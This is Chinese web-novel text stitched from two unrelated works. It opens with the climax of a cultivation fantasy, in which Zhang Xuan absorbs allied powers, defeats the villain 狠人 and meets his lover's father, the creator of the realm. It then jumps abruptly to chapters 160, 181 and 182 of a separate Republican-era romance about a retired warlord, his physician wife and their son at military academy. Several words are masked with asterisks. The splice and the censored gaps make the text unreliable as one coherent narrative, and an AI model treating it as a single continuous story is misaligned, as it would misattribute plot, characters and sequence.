叮叮叮!
再次被狠人挡住。
“你们快走,我来挡住他……”
知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。
四周的空间凝固起来。
“走!”
见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。
自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。
“你说的他,在哪里?”
没空去观察普通人的生活,张悬看向怀中的女孩。
如果她说的那人,真能拯救神界,自己牺牲又何妨!
“他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。
“父亲?”
张悬恍然大悟。
难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。
这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。
“你父亲也是帝君?或者拥有超越帝君的实力?”
忍不住道。
图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大?
如果是这样的话,又为何会昏迷?
又需要天道有缺,才能让其清醒?
“他不是帝君,而是……天道!”
洛若曦秀拳捏紧。
“天道?你父亲……是天道?”张悬一震,不敢相信。
“是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。”
洛若曦道。
张悬恍然。
名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。
竟然是她父亲,而且还是神界天道!
天道真的能够化成人形,并且生儿育女吗?
“代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。
代为掌控,和自己这种融合在体内,是两种概念。
“我只是掌控,并不是天道的一部分……”洛若曦道。
张悬松了口气。
这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。
尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。
“我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。
“这……我也不确定……”
抬头看了看已经崩塌的神界,洛若曦迟疑。
神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗?
真不好说!
“看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!”
“孔师?他……”洛若曦皱眉。
“孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!”
张悬道。
看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。
可以做到胎中不迷。
再加上提前留下的后手,复活,只是时间问题。
洛若曦愣住,似乎她没想到,会是这样。
“过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。
孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。
必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做!
而这种重要的事,明显就是让孔师恢复。
“这……”洛若曦心中一震,恍然大悟。
“走吧!”
不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!”
不是孔师,又是何人!
这位万世之师,果然没让自己失望!
和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。
“你……”洛若曦娇躯一震。
她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快!
“我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!”
孔师微微一笑。
他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。
几十年的时光,都有了。
“我们三人的实力,是很强,但想要胜过狠人,也没那么容易……”
见孔师果真恢复,洛若曦依旧摇头。
不是涨他人威风,灭自己志气,而是事实。
刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何?
同样改变不了局面!
“我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?”
孔师笑着看过来。
“融合在一个人身上?”
这次不光洛若曦皱眉,张悬也满是疑惑。
“那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……”
孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!”
“如何集中?”
洛若曦看过来。
说的简单,做起来难。
帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。
“很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!”
孔师道。
“我?”张悬一愣:“为什么是我?”
“灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!”
孔师道。
洛若曦说不出话来。
战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。
“无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……”
孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……”
当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。
“所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!”
孔师继续道。
生当复来归,死当长相思!
连死亡都不在乎,又怎么会被其他事情所羁绊?
“这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!”
“好吧!”
见对方已经做出决定,自己解释再多也无用,张悬点了点头。
轰隆!
盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。
张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。
灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。
……
“你们也想拦我?也好,杀了你们,再去将张悬斩杀……”
将洛七七和分身等人拍飞,狠人冷冷一笑。
分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。
潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。
此时的狠人,仿佛代表了整个神界,无人能挡。
“神界灭亡,我们活着也没意义,我云螭,与你同归于尽……”
云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。
“就你?不配!”
狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。
“老友,等我!”
扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。
不死帝君,不死火凤本尊显示出来,火焰照耀天空。
玄冥大帝,本尊乃一头大龟,宛如托举着诸天。
四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。
乾坤仿佛在瞬间定住。
嘭嘭嘭嘭!
连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……”
咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。
“想要杀他们,问过我没有……”
随即,众人震惊的目光中,一个人影从空中缓步走了出来。
正是张悬!
此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。
“进步了不少……”
狠人停了下来,目光凝重。
他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。
“不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……”
一声冷哼,狠人再次拍落而下。
张悬长剑扬起,迎了上来。
双方战斗在一起,空间一道道撕裂,气流四处乱窜。
“张悬能不能获胜?”
自在天孔师驻地,洛若曦满是担忧的看过去。
她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。
不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。
“凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!”
沉默了片刻,孔师道。
十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。
之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我!
“超越帝君的力量?”
洛若曦眼神悠远。
父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗?
“他一定能……他有着一颗不屈的心!和对这个世界的傲然。”
看出她心中的疑问,孔师笑道。
……
嘭嘭嘭!
连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。
和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。
“哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。
“反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。
“好,我成全你,给你最强的攻击……”
听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。
哗啦!
一道青光出现在掌心,猛地拍落而下。
果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。
双眼紧闭,张悬并未躲避。
嘭!
脑袋炸裂开来,灵魂四处溃散。
“张悬……”看到这一幕,所有人都脸色一白。
洛七七宛如发疯。
云螭大帝等人也瞪大眼睛,不停哆嗦。
看到这一幕的孔师和洛若曦也全都一愣。
本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死?
这样,岂不辜负了他们的一番好心?
“不对,是不死帝君的不死之法……”
正在奇怪,孔师突然开口。
众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。
“他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?”
洛若曦瞳孔收缩。
浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道!
“他怎么做到的?”
孔师也满是不敢相信。
天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。
眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法?
“我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。
灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。
绑定了灵魂,不死不会脱离。
但……狠人借助那种特殊力量摆脱了灵魂契约,具
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体方法,张悬之前详细询问过,恐怕那时就动了心思。
这才故意拼死,让其施展出最强力量对他攻击。
借助这种力量,浴火重生,没想到,果然大获成功!
“原来如此,这才是突破帝君的方法……”
从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。
刹那间,与自身完美融合。
一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。
脚掌在地上轻轻一踏。
混乱的九天,立刻稳定下来。
九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。
不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。
“主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!”
面带微笑,张悬喃喃自语。
天道图书馆脱离灵魂的刹那,他明白过来。
是人看了世界,才有了世界,还是先有世界,后有了人?
是风动,还是心动!
这个问题,亘古不朽的困扰着无数人。
当然,现在……这些都不重要了!
没有生命,没有情感,世界就算存在,又有何意义?
所以,突破爱情之后,是众生情!是交织天下的情感。
世间万物皆有情感,有情才有世界,有情感,才能延续生命。
爱,是情。
憎,是情。
高兴,是情。
痛苦,是情。
离别,是情。
相聚,也是情!
“万千情意,为我所用……”
一声低呼,张悬体内禁锢的境界,瞬间破开。
帝君桎梏,突破了!
一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。
无数混沌之气,涌了过来,肉身也飞速提升。
之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。
“你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。
“你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?”
淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。
原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。
只要有情,就要被他所用,被他控制!
“你……”
狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……”
“现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。
掌控天下之情,仆人之类对于他来说,已经没任何意义了。
杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕!
“不……”
感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。
嘭!
一刹那间,**开来,化作无数灵气,向神界各处灌涌。
之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。
“这……”
“这样就杀了?”
云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。
刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步?
难道帝君之上,真的还有另外的境界?
“他成功了……”
孔师和洛若曦,松开捏紧的拳头。
“这是天道的一部分,那我现在就归还天道……”
看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。
嗡!
从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。
大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。
崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。
“看来,神界要重新迎接灵气复苏时代了……”张悬一笑。
潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。
“张悬,这边来……”
刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。
这一步,不知飞了多远,随即看到一个青年站在面前。
正是之前传授自己剑法的那位。
“前辈,你……”
看到是他,张悬一愣。
之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。
“直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。
“聂铜?”张悬皱了皱眉。
第一次听到这个名字。
“跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。
张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。
随即看到了另外一个青年。
容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。
“这实力……”张悬一颤。
眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重!
“在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!”
“若曦的父亲?”
张悬一震:“你……是神界天道?”
之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。
“我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。
张悬不敢相信。
神界竟然是眼前这人创造的?
那他的实力,该有多强?
“不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。
如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问?
甚至连女儿的生死,都关心?
没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?”
“这……”张悬停顿了一下:“应该有吧……”
虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。
就好像眼前这位。
“我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!”
聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。”
“这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!”
“所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!”
聂云笑道。
“不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。
难怪,能够穿越过来,没想到都是眼前这位所为。
“呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……”
“我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……”
没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。
“机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?”
聂云道。
张悬沉默不语。
当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。
也有可能,他不愿意斩杀洛若曦吧。
可惜,就这一念之间,错过了晋级的机会。
“如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。
难不成,眼前这位连女儿的生死都不管了?
“有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?”
“这……”张悬苦笑。
突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。
“灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……”
聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……”
看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……”
不答应也没办法,谁让自己拐走了人家的女儿……
“天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。”
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第160章 子承父业
江南的春天,细雨如酥,柳丝如烟。
院子里,四十五岁的沈晚清正在晒她的草药。岁月虽然在她眼角添了几道细纹,却也赋予了她一种更加从容静气的韵味。
陆淮锦躺在藤椅上,手里拿着一卷书,腿上盖着薄毯。卸下了那一身戎装和杀气,现在的他,看上去就像个儒雅的教书先生。
“爹,娘。”
一个挺拔的身影推开院门走了进来。
二十三岁的陆念清,穿着一身便装,却掩不住那一身凛冽的军人气质。他的五官像极了陆淮锦年轻的时候,剑眉星目,但眼神中少了几分阴鸷,多了几分沉稳与阳光。
“念清来了?”
沈晚清放下手中的药簸箕,笑着迎上去,“怎么突然从驻地跑来了?不用带兵吗?”
“娘,我有事跟你们商量。”
陆念清走过去,先是自然地蹲下帮父亲掖了掖毯角,然后搬了个小板凳坐在二老面前。
“我想……去上学。”
“上学?”陆淮锦挑了挑眉,放下了书,“你都当了集团军总司令了,手握几万精兵,还要去上什么学?”
“正是因为手握重兵,才觉得心里没底。”
陆念清神色认真,“爹,现在的局势变了。以前那种占山为王、靠兄弟义气打仗的法子行不通了。美式的机械化作战、大兵团的协同指挥……这些我不懂。我不想让陆家军在我手里变成只会冲锋陷阵的莽夫。”
“所以,我报名参加了南京陆军大学将官班的考试。”
陆淮锦看着儿子。
那个曾经只会骑在他脖子上撒尿、抱着木枪喊打鬼子的小团子,真的长大了。他有了自己的思考,有了比父辈更长远的眼光。
“好!”
陆淮锦一拍大腿,眼中满是赞赏,“不愧是我陆淮锦的种!知不足而后进,这才是大将之风!去!爹支持你!”
……
南京,黄埔路,陆军大学。
一周后,复试现场。
这里汇聚了当时国内各路军队的精英,甚至还有不少留洋归来的“海归派”。
考场内,气氛严肃。
主考官指着巨大的沙盘,出了一道难题:
“假设敌军两个机械化师团正在平原集结,我方只有一个轻步兵师,且无制空权。请问,如何在守住阵地的同时,伺机反击?”
一名戴着金丝眼镜、衣着光鲜的考生立刻起身,侃侃而谈:
“根据克劳塞维茨的战争论,以及美军的作战手册,我们应该构筑纵深防线,利用反坦克壕沟阻滞敌军,并呼叫空军支援……”
主考官点了点头,似乎很满意。
“空谈。”
坐在角落里的陆念清冷冷地吐出两个字。
“你说什么?”那名考生不悦地转过头,“这位同学,你有什么高见?”
陆念清站起身,并没有说什么理论,而是直接走到沙盘前,抓起一把红旗,直接插在了那个所谓的“反坦克壕沟”后面。
“第一,题目说了无制空权,你呼叫哪门子的空军?”
“第二,平原作战,机械化部队推进速度极快。等你挖好壕沟,敌人的坦克履带早就碾在你的脸上了。”
他拿起代表我军的蓝旗,迅速分散插在周边的村落和树林里:
“这种仗,不能硬守。”
“放他们进来。利用青纱帐和村落做掩护,把一个师拆成几百个战斗小组。白天避其锋芒,晚上摸进他们的宿营地,炸履带,烧油罐,打冷枪。”
“把正面战变成麻雀战,把阵地战变成消耗战。”
“拖他三天,他的油料耗尽,就是一堆废铁。到时候,我们再集中兵力,一口吃掉它!”
全场鸦雀无声。
那些只会背教条的考生们听得目瞪口呆。
主考官的眼睛亮了。他看着眼前这个年轻人,虽然衣着朴素,但举手投足间那种从尸山血海里滚出来的实战经验,是任何教科书都教不出来的。
“你叫什么名字?”主考官问。
“陆念清。”
“陆淮锦是你什么人?”
“那是家父。”陆念清不卑不亢,“但在考场上,我是第45期考生,陆念清。”
“好!”主考官带头鼓掌,“录取了!”
……
入校后的生活。
陆军大学的生活枯燥而紧张。
陆念清并没有因为父亲的名声而搞特殊。相反,
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他是全校起得最早、睡得最晚的学员。
他像一块海绵,贪婪地吸收着现代军事理论。
在这里,他不再是那个呼风唤雨的“少帅”,而是一个普通的学生。
当然,也有刺头。
“喂,那个姓陆的。”
一次战术课后,几个有些背景的学员拦住了他,“听说你以前是带着泥腿子打游击的?懂不懂什么叫步炮协同啊?要不要哥哥教教你?”
陆念清整理了一下领口,淡淡地看了他们一眼。
“步炮协同?”
他突然出手,速度快若闪电,还没等对方反应过来,就已经卸掉了领头那人的胳膊关节,然后反手一记擒拿,将人按在桌子上。
“啊——!”那人惨叫。
“这叫单兵格斗。”
陆念清松开手,帮对方把关节接回去,拍了拍手上的灰:
“至于步炮协同,等下次演习,我不介意在战场上教教你们。不过学费很贵,得输得起才行。”
说完,他看都不看那几个呆若木鸡的“少爷兵”,转身离去。
……
图书馆,深夜。
陆念清坐在灯下,翻看着一本关于《**与未来战争》的外文书。
窗外,月光如水。
他从怀里掏出那枚金弹壳项链,轻轻摩挲着。
“爹,娘。”
他在心里默默说道,“你们放心。这支军队交给我,我一定把它带成一支真正的现代化铁军。不管未来局势如何变化,陆家军永远是保卫这个国家的利剑,绝不会成为任何人的私兵。”
就在这时,一张纸条轻轻推到了他面前。
“同学,这本书我看完了,有些笔记,或许对你有用。”
陆念清抬头。
对面坐着一个短发齐耳、穿着女学员制服的姑娘。她眉眼弯弯,笑起来有两个浅浅的酒窝,眼神清澈而聪慧。
“谢谢。”陆念清接过笔记,看了一眼署名——林徽。
两人的目光在灯下交汇。
一个是久经沙场的铁血少帅,一个是满腹经纶的高知才女。
一段属于年轻一代的、新的故事,在这所充满了理想与激情的军校里,悄然拉开了序幕。
第181章 医学泰斗
“晚晚,歇会儿吧。这墨都磨了两块了。”
陆淮锦穿着一身宽松的棉布长衫,手里端着一盏刚炖好的冰糖雪梨,轻轻放在书桌旁。
此时的他,须发已有些花白,往日那双握**人的手,如今正拿着一块干净的绒布,小心翼翼地帮妻子擦拭着眼镜片。
沈晚清放下手中的毛笔,揉了揉酸痛的手腕。
面前的红木桌案上,堆叠着厚厚的一摞手稿。这是她花了整整三年时间,在昏黄的油灯下,一字一句写就的心血——《中西医结合战地外科学与生化防护录》。
书里没有华丽的辞藻,只有几千个血淋淋的病例。从柳镇的瘟疫,到漠城的冻伤;从长城的刀伤,到重庆大轰炸下的开颅手术。
每一个字,都是用命换来的经验。
“终于……写完了。”
沈晚清看着那厚厚的手稿,长长地舒了一口气,眼中闪烁着泪光,“这本书如果能出版,以后再遇到打仗或者灾荒,年轻的医生们就不至于手忙脚乱,能多救几个人。”
“肯定能。”
陆淮锦将眼镜帮她戴好,目光扫过那些手稿,眼神温柔而敬重:
“这书比我的兵书还要重。因为兵书教人怎么**,你这书教人怎么活命。”
……
三个月后,法国巴黎,国际医学大会。
亨利·杜邦作为大会主席,手里高举着一本厚厚的、封面上印着中法双语书名的著作,情绪激动地站在讲台上。
“先生们,女士们!”
“今天,我要向大家介绍一位来自东方的伟大女性,我的挚友,沈晚清女士!”
“在过去的二十年里,她在极其恶劣的战争环境下,创造了无数医学奇迹!她用神奇的中国针灸辅助麻醉,用草药提取物对抗细菌战,她的急救理论领先了世界至少十年!”
台下,来自世界各地的顶级医学专家们传阅着那本书,看着里面详尽的数据和手术绘图,发出阵阵惊叹。
“这是上帝之手!”“中西医结合?这简直是打开了新世界的大门!”
当天,大会全票通过,授予沈晚清**“国际人道主义医学金奖”**,并将她的著作列为国际红十字会战地救援的必读教材。
……
北平,协和医学院大礼堂。
1949年,初春。
虽然时局依然动荡,但今天的协和礼堂却座无虚席。
当那个穿着素净旗袍、头发挽成一丝不苟的发髻、气质淡雅如兰的女子走进礼堂时,全场两千名师生集体起立,掌声如雷鸣般经久不息。
沈晚清。
这个名字,如今在医学界,就是“泰斗”的代名词。
她不再是那个依附于军阀的“陆夫人”,她是凭一己之力撑起中国战地医学半壁江山的“沈先生”。
沈晚清走到讲台前,并没有立刻开始讲课。
她的目光穿过人群,落在了礼堂最后一排的角落里。
那里坐着一个穿着长衫的老头,正笑眯眯地看着她,手里还拿着一个保温杯——那是怕她讲课口渴特意带来的。
沈晚清的嘴角勾起一抹温柔的笑意。
“同学们。”
她缓缓开口,声音不大,却温润有力:
“在讲课之前,我想先感谢一个人。”
“很多人叫我‘神医’,叫我‘泰斗’。但只有我知道,如果没有那个人的守护,我沈晚清的手术刀,早在二十年前就断了。”
“是他用身躯为我挡住了炮火,是他散尽家财为我建起了医院,也是他,在我每一次想要放弃的时候,告诉我:救人,是天底下最大的事。”
全场的目光顺着她的视线望去。
角落里的陆淮锦愣了一下。
这位曾经在千军万马面前面不改色的老帅,此刻面对着两千名学生的注视,竟然老脸一红,有些局促地挠了挠头,像个被老师点名表扬的小学生。
“哇……”
台下的学生们发出了善意的哄笑和羡慕的惊叹。
原来,传说中的“修罗战神”和“医学泰斗”,私下里竟然是这样的神仙眷侣。
沈晚清收回目光,神色变得庄重:
“医学,是一门关于爱的学科。”
“今天,我将把
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我毕生所学,毫无保留地传授给你们。不为名利,只为一句誓言——”
“健康所系,性命相托。”
……
苏州,沈氏医馆。
数年后,夕阳西下。
院子里的葡萄架下,陆淮锦躺在摇椅上,膝盖上盖着毯子,手里拿着一张当天的报纸。
报纸头版刊登着一则新闻:《著名医学家沈晚清赴京主持国家卫生防疫体系建设》。
“老头子,看什么呢?这么入神。”
沈晚清端着一盘洗好的葡萄走过来。
“看我老伴儿呗。”
陆淮锦指着报纸上的照片,一脸得意,“啧啧,这气质,这风度,不愧是我陆淮锦挑女人的眼光,就是毒!”
“少贫嘴。”
沈晚清剥了一颗葡萄塞进他嘴里,“这次去北京,可能要待好几个月。你要是嫌闷,就跟我一起去?”
“去!当然去!”
陆淮锦立刻坐直了身体,“我现在是你的专职保镖兼生活秘书。你去哪,我就得跟到哪。万一有什么不开眼的毛头小子想追你,我这老骨头还得帮你挡桃花呢。”
沈晚清被他逗笑了,眼角的皱纹里满是幸福。
“陆淮锦。”
“嗯?”
“谢谢你。”
“谢什么?”
“谢谢你……这辈子,让我做成了我想做的事,成了我想成的人。”
陆淮锦愣了一下。
他看着眼前这个光芒万丈、受万人敬仰的女子。
他想起了初见时那个在乱坟岗救人的小郎中,想起了在帅府里步步为营的姨太太,想起了在长城废墟上分吃馒头的战友。
他伸出那双粗糙的大手,紧紧握住了她的手。
“傻瓜。”
“应该是我谢谢你。”
“是你,把我也变成了一个好人。”
夕阳的余晖洒在两人身上,将他们的影子拉得很长很长,交织在一起,再也分不开。
这一生,波澜壮阔。
这一世,圆满无缺。
他们在最好的年华相遇,在最坏的时代相守,最终,在岁月的尽头,活成了彼此的传奇。
第182章 番外:前世的陆淮锦
民国十五年,北城乱葬岗。
命运的齿轮,在这里发生了一次极其微小的偏差。
在这个时空里,陆淮锦的车队因为一只爆胎的轮胎,晚到了十分钟。
仅仅十分钟。
当陆淮锦满身杀气地赶到那个土坑前时,没有听到那个清冷的求救声,也没有看到那个从**堆里爬出来的坚韧身影。
